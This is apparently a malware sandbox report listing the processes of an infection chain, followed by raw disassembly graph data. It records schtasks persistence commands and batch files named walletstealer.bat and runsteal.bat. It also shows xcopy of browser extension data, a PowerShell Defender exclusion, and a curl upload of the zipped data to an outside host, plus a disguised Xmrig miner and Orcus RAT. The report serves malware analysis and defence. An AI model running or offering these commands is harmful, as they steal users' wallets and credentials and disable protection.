                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:18
                                                                  Start time:11:11:58
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:20
                                                                  Start time:11:11:58
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\schtasks.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                                                                  Imagebase:0xf80000
                                                                  File size:187'904 bytes
                                                                  MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:21
                                                                  Start time:11:11:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\schtasks.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
                                                                  Imagebase:0xf80000
                                                                  File size:187'904 bytes
                                                                  MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:22
                                                                  Start time:11:11:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:23
                                                                  Start time:11:11:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\wscript.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js"
                                                                  Imagebase:0x7ff6dc9b0000
                                                                  File size:170'496 bytes
                                                                  MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:24
                                                                  Start time:11:11:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\user\AppData\Local\CreativePixel Tech\E"
                                                                  Imagebase:0x7b0000
                                                                  File size:893'608 bytes
                                                                  MD5 hash:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Antivirus matches:
                                                                  • Detection: 3%, ReversingLabs
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:29
                                                                  Start time:12:57:35
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                                  Imagebase:0xca0000
                                                                  File size:65'440 bytes
                                                                  MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.3728956460.0000000003B8F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: 0000001D.00000002.3719037419.0000000001102000.00000040.00000400.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
                                                                  • Rule: RAT_Orcus, Description: unknown, Source: 0000001D.00000002.3719037419.0000000001102000.00000040.00000400.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000001D.00000002.3757246392.00000000045E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001D.00000002.3728956460.000000000367D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Antivirus matches:
                                                                  • Detection: 0%, ReversingLabs
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:31
                                                                  Start time:12:57:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" "
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:32
                                                                  Start time:12:57:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                                                                  Imagebase:0x21271f60000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:77334F046A50530CDC6E585E59165264
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3721421332.0000021200067000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210C89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.00000212105FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210C3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210596000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000020.00000002.3721421332.0000021200001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000020.00000000.2974274822.0000021271F62000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210BBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.3740194949.0000021210BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, Author: Joe Security
                                                                  Antivirus matches:
                                                                  • Detection: 100%, Joe Sandbox ML
                                                                  • Detection: 8%, ReversingLabs
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:33
                                                                  Start time:12:57:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" "
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:34
                                                                  Start time:12:57:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:35
                                                                  Start time:12:57:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:36
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\runsteal.bat" "
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:37
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:38
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\xcopy.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\"
                                                                  Imagebase:0x4f0000
                                                                  File size:43'520 bytes
                                                                  MD5 hash:7E9B7CE496D09F70C072930940F9F02C
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2986439699.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2986439699.0000000002FFB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2986555159.0000000003270000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2986340627.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:39
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\net.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:net session
                                                                  Imagebase:0x8b0000
                                                                  File size:47'104 bytes
                                                                  MD5 hash:31890A7DE89936F922D44D677F681A7F
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:40
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\smartscreen.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                                                                  Imagebase:0x15a6f7e0000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:1FED66D1F6B85BDA20FE0403CA01C9BD
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000028.00000000.2985657308.0000015A6F7E2000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000028.00000002.3719451864.0000015A00001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: C:\Users\user\AppData\Local\Temp\smartscreen.exe, Author: Joe Security
                                                                  Antivirus matches:
                                                                  • Detection: 100%, Joe Sandbox ML
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:41
                                                                  Start time:12:57:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\net1.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\net1 session
                                                                  Imagebase:0x8c0000
                                                                  File size:139'776 bytes
                                                                  MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:42
                                                                  Start time:12:57:55
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                                                                  Imagebase:0x30000
                                                                  File size:433'152 bytes
                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:43
                                                                  Start time:12:57:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:44
                                                                  Start time:12:57:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\curl.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:curl -s https://api.ipify.org
                                                                  Imagebase:0x1000000
                                                                  File size:470'528 bytes
                                                                  MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002C.00000002.3016229500.00000000035F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002C.00000002.3016446339.0000000003990000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002C.00000002.3016304287.0000000003780000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:45
                                                                  Start time:12:57:58
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'"
                                                                  Imagebase:0x30000
                                                                  File size:433'152 bytes
                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:46
                                                                  Start time:12:57:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:47
                                                                  Start time:12:57:59
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\curl.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                                                                  Imagebase:0x1000000
                                                                  File size:470'528 bytes
                                                                  MD5 hash:44E5BAEEE864F1E9EDBE3986246AB37A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000002.3065603321.0000000000880000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000002.3065521891.00000000006E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000002.3065603321.000000000088B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002F.00000002.3065794170.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:49
                                                                  Start time:12:58:04
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                                                                  Imagebase:0x16294130000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:77334F046A50530CDC6E585E59165264
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000031.00000002.3725030188.0000016295FB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A6B6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A6545000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A654A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A647B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A6B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000002.3739317717.00000162A6AC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:50
                                                                  Start time:12:58:12
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\smartscreen.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                                                                  Imagebase:0x1ba068e0000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:1FED66D1F6B85BDA20FE0403CA01C9BD
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000032.00000002.3722953108.000001BA08611000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:51
                                                                  Start time:12:58:21
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\COMSurrogate.exe"
                                                                  Imagebase:0x20644b30000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:77334F046A50530CDC6E585E59165264
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000033.00000002.3725432982.00000206467B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000033.00000002.3745500168.00000206567C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:52
                                                                  Start time:12:58:29
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\smartscreen.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\smartscreen.exe"
                                                                  Imagebase:0x133c02e0000
                                                                  File size:167'936 bytes
                                                                  MD5 hash:1FED66D1F6B85BDA20FE0403CA01C9BD
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000034.00000002.3723131584.00000133C20B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  Has exited:false

                                                                  Disassembly

                                                                  Reset < >

                                                                    Execution Graph

                                                                    Execution Coverage:17.5%
                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                    Signature Coverage:21%
                                                                    Total number of Nodes:1482
                                                                    Total number of Limit Nodes:25
                                                                    execution_graph 4175 402fc0 4176 401446 18 API calls 4175->4176 4177 402fc7 4176->4177 4178 401a13 4177->4178 4179 403017 4177->4179 4180 40300a 4177->4180 4182 406831 18 API calls 4179->4182 4181 401446 18 API calls 4180->4181 4181->4178 4182->4178 4183 4023c1 4184 40145c 18 API calls 4183->4184 4185 4023c8 4184->4185 4188 407296 4185->4188 4191 406efe CreateFileW 4188->4191 4192 406f30 4191->4192 4193 406f4a ReadFile 4191->4193 4194 4062cf 11 API calls 4192->4194 4195 4023d6 4193->4195 4198 406fb0 4193->4198 4194->4195 4196 406fc7 ReadFile lstrcpynA lstrcmpA 4196->4198 4199 40700e SetFilePointer ReadFile 4196->4199 4197 40720f CloseHandle 4197->4195 4198->4195 4198->4196 4198->4197 4200 407009 4198->4200 4199->4197 4201 4070d4 ReadFile 4199->4201 4200->4197 4202 407164 4201->4202 4202->4200 4202->4201 4203 40718b SetFilePointer GlobalAlloc ReadFile 4202->4203 4204 4071eb lstrcpynW GlobalFree 4203->4204 4205 4071cf 4203->4205 4204->4197 4205->4204 4205->4205 4206 401cc3 4207 40145c 18 API calls 4206->4207 4208 401cca lstrlenW 4207->4208 4209 4030dc 4208->4209 4210 4030e3 4209->4210 4212 405f7d wsprintfW 4209->4212 4212->4210 4213 401c46 4214 40145c 18 API calls 4213->4214 4215 401c4c 4214->4215 4216 4062cf 11 API calls 4215->4216 4217 401c59 4216->4217 4218 406cc7 81 API calls 4217->4218 4219 401c64 4218->4219 4220 403049 4221 401446 18 API calls 4220->4221 4222 403050 4221->4222 4223 406831 18 API calls 4222->4223 4224 401a13 4222->4224 4223->4224 4225 40204a 4226 401446 18 API calls 4225->4226 4227 402051 IsWindow 4226->4227 4228 4018d3 4227->4228 4229 40324c 4230 403277 4229->4230 4231 40325e SetTimer 4229->4231 4232 4032cc 4230->4232 4233 403291 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4230->4233 4231->4230 4233->4232 4234 4022cc 4235 40145c 18 API calls 4234->4235 4236 4022d3 4235->4236 4237 406301 2 API calls 4236->4237 4238 4022d9 4237->4238 4240 4022e8 4238->4240 4243 405f7d wsprintfW 4238->4243 4241 4030e3 4240->4241 4244 405f7d wsprintfW 4240->4244 4243->4240 4244->4241 4245 4030cf 4246 40145c 18 API calls 4245->4246 4247 4030d6 4246->4247 4249 4030dc 4247->4249 4252 4063d8 GlobalAlloc lstrlenW 4247->4252 4250 4030e3 4249->4250 4279 405f7d wsprintfW 4249->4279 4253 406460 4252->4253 4254 40640e 4252->4254 4253->4249 4255 40643b GetVersionExW 4254->4255 4280 406057 CharUpperW 4254->4280 4255->4253 4256 40646a 4255->4256 4257 406490 LoadLibraryA 4256->4257 4258 406479 4256->4258 4257->4253 4261 4064ae GetProcAddress GetProcAddress GetProcAddress 4257->4261 4258->4253 4260 4065b1 GlobalFree 4258->4260 4262 4065c7 LoadLibraryA 4260->4262 4263 406709 FreeLibrary 4260->4263 4264 406621 4261->4264 4268 4064d6 4261->4268 4262->4253 4266 4065e1 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 4262->4266 4263->4253 4265 40667d FreeLibrary 4264->4265 4267 406656 4264->4267 4265->4267 4266->4264 4271 406716 4267->4271 4276 4066b1 lstrcmpW 4267->4276 4277 4066e2 CloseHandle 4267->4277 4278 406700 CloseHandle 4267->4278 4268->4264 4269 406516 4268->4269 4270 4064fa FreeLibrary GlobalFree 4268->4270 4269->4260 4272 406528 lstrcpyW OpenProcess 4269->4272 4274 40657b CloseHandle CharUpperW lstrcmpW 4269->4274 4270->4253 4273 40671b CloseHandle FreeLibrary 4271->4273 4272->4269 4272->4274 4275 406730 CloseHandle 4273->4275 4274->4264 4274->4269 4275->4273 4276->4267 4276->4275 4277->4267 4278->4263 4279->4250 4280->4254 4281 4044d1 4282 40450b 4281->4282 4283 40453e 4281->4283 4349 405cb0 GetDlgItemTextW 4282->4349 4284 40454b GetDlgItem GetAsyncKeyState 4283->4284 4288 4045dd 4283->4288 4286 40456a GetDlgItem 4284->4286 4299 404588 4284->4299 4291 403d6b 19 API calls 4286->4291 4287 4046c9 4347 40485f 4287->4347 